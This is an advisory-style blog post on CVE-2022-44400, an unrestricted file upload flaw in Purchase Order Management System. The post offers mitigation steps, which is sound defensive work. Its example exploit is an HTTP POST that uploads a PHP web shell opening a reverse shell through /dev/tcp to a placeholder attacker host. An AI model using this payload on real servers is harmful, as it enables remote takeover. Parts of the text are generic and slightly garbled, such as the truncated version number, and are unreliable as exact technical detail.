A critical vulnerability (CVE-2022-44400) has been discovered in Purchase Order Management System v1.. This long read post will provide an overview of the vulnerability, its potential impact, and how an attacker might exploit it. Additionally, we will share code snippets and relevant references to facilitate understanding and mitigation of the issue.
Vulnerability Description
Purchase Order Management System v1. contains a file upload vulnerability that could allow an attacker to upload arbitrary files to the server. The vulnerability exists due to insufficient validation of uploaded files in the "/purchase_order/admin/?page=system_info" path. As a result, an attacker can exploit this vulnerability to upload and execute harmful files on the target system, potentially leading to unauthorized access and data manipulation.
Exploit Details
An attacker could exploit this vulnerability by sending a crafted HTTP POST request to the "/purchase_order/admin/?page=system_info" path. The attacker would need to include a malicious file and appropriate parameters in their request, bypassing any file-type restrictions in place. Once the file is uploaded, the attacker can access it at a known location and execute it to compromise the application and any related services.
The following is an example code snippet that demonstrates how an attacker could potentially exploit this vulnerability:
POST /purchase_order/admin/?page=system_info HTTP/1.1
Host: target-server
Content-Type: multipart/form-data; boundary=----file_boundary
Content-Length: [length]
------file_boundary
Content-Disposition: form-data; name="uploaded_file"; filename="malicious_file.php"
Content-Type: application/x-php
<?php
exec("/bin/sh -i >& /dev/tcp/attacker_ip/attacker_port >&1");
?>
------file_boundary--
Mitigation
The vendor has not yet released a patch for this vulnerability. However, there are steps that administrators can take to mitigate the risk:
Implement strict validation for file uploads to ensure only expected file types are allowed.
2. Use a randomly generated file name for uploaded files to prevent easy guesswork of the file's location.
Implement access controls to limit the ability to upload files to specific users or administrators.
4. Regularly monitor the vulnerability status and patch the software when the vendor releases an update.
Original References
The vulnerability was originally reported to the CVE database and assigned CVE-2022-44400. More information can be found at the following links:
- CVE details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-44400
- NVD details: https://nvd.nist.gov/vuln/detail/CVE-2022-44400
Conclusion
The CVE-2022-44400 vulnerability in Purchase Order Management System v1. is a serious risk, allowing attackers to upload and execute arbitrary files on the host system. It is crucial for administrators to be proactive in monitoring and mitigating this vulnerability. By leveraging provided code snippets, references, and suggested mitigation strategies, companies can better secure their purchase order management infrastructure and minimize the impact of this critical vulnerability.
Timeline
Published on: 11/28/2022 15:15:00 UTC
Last modified on: 11/28/2022 19:14:00 UTC